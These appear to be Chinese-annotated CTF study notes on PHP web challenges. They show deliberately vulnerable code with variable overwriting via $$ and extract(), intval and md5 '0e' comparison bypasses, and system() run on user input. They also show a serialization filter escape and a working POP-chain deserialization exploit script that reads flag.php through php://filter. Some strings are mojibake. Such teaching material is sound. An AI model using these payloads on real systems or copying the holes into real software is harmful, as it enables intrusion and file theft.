strstr(string,search,before_search)

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

/*
可以变相成这样理解
例如POST传入的值为 ?yds=flag
则第一个foreach中 ：  $x = yds   $y = flag
$$x = $y  <==>  $yds = flag  改变变量的值
$$x = $$y <==>  $yds = $flag  改变变量的名字
它的 $x 和 $y 是根据我们传入的值来确定的
GET型同理
*/

foreach($_POST as $x => $y){ //变量覆盖 
    $$x = $y;
}

foreach($_GET as $x => $y){ //foreach进行循坏，遍历POST，将数组中的值赋值给$y 
    $$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}

foreach($_GET as $x => $y){  //不能同时flag的值等于某个键名，那个键又是flag 
     //猜测 如果用 & 传入多个值，则默认取第一个&之前的 作为 $x  $y
    if($_GET['flag'] === $x && $x !== 'flag'){  //变量名为flag
        exit($handsome);  //exit() 函数输出一条消息，并退出当前脚本。
    }
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){  //不能同时GET和POST都设置flag   
    exit($yds); 
}
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){ //任意都能满足flag==='flag' 
    exit($is);
}
echo "the flag is: ".$flag;   //$flag在flag.php中，且为： $flag = file_get_contents('/flag');   
?>  

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙ｅ喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){  //过滤空格
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?>
鍘婚潪娲插惂

intval() 函数用于获取变量的整数值。
如果字符串包括了 "0x" (或 "0X") 的前缀，使用 16 进制 (hex)；否则，
如果字符串以 "0" 开始，使用 8 进制(octal)；否则，
将使用 10 进制 (decimal)。

level_1是针对intval()的过滤,当我们的intval()括号内是一个string的数字和字符串混合内容时，
则返回的是这串内容的第一位数字，而当我们对这个字符型的内容进行加减乘除操作的时候，
这串字符则会对应地转换为int或者double类型；

intval函数，此函数在处理数据时会在接触到字符串时停止，
因此如果输入100e2之类的数据，会解释称100，但后面在执行+1时，100e2是解释称10000的，因此此处使用100e2绕过

level_2是php弱类型比较；（感觉还带了点md5碰撞问题的样子），这里我们需要知道'=='两个等号做比较的时候，
会先将左右两边的内容转换为同一种类型的内容再进行比较。而在php中，如果有一串内容以0e开头，
那么这串内容会以科学计数法的形式表示，而0的次方就是0。
所以，我们的思路就是通过找到一个0e开头的值，且md5加密后的内容也是0e开头的，使得条件为真。
那么找到了满足条件的值：0e215962017

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';   //  得到 /php|flag|php5|php4|fl1g/i
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);     // 销毁变量
}
/*
我们发现unset函数将$_SESSION变量销毁了，然后重新赋予了$_SESSION新的值，
最后调用了extract($_POST);
*/

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;


// extract — 从数组中将变量导入到当前的符号表
//根据extract()我们可以进行变量覆盖，
//当我们传入SESSION[flag]=123时，$SESSION["user"]和$SESSION['function'] 全部会消失。
//只剩下_SESSION[flag]=123。
extract($_POST);  


if(!$function){  //判断一
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){   //判断二
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));  
    // sha1 — 计算字符串的sha1散列值，是一种加密方式
}

$serialize_info = filter(serialize($_SESSION));  //序列化$_SESSION并过滤

if($function == 'highlight_file'){   //判断三
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 
/*
__invoke()，这个函数是以调用函数的方式调用一个对象时会被自动调用的一个函数，或者说将对象调用为函数时触发

__toString()，这个函数是当一个对象被当成字符串时的处理函数，比如输出类时，返回什么值

__get()，这个函数大多数见到是private，用来获取一个不可访问的属性或者私有属性。

至于_wakeup() ，我们很熟悉的一个函数，在使用unserialize时触发，先调用再反序列化，以及__destruct() ，当一个对象销毁时被调用 

_construct 当一个对象创建时被调用，
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括：（1）私有属性，（2）没有初始化的属性

__invoke() 当脚本尝试将对象调用为函数时触发。
->用来引用一个类的属性(变量)、方法(函数)
protected属性：在类的内部可以调用外部不能可以被继承并且重构
return $this后可以加多个变量

*/

<?php
class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Test{
    public $p;
}

class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
    }
}

$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>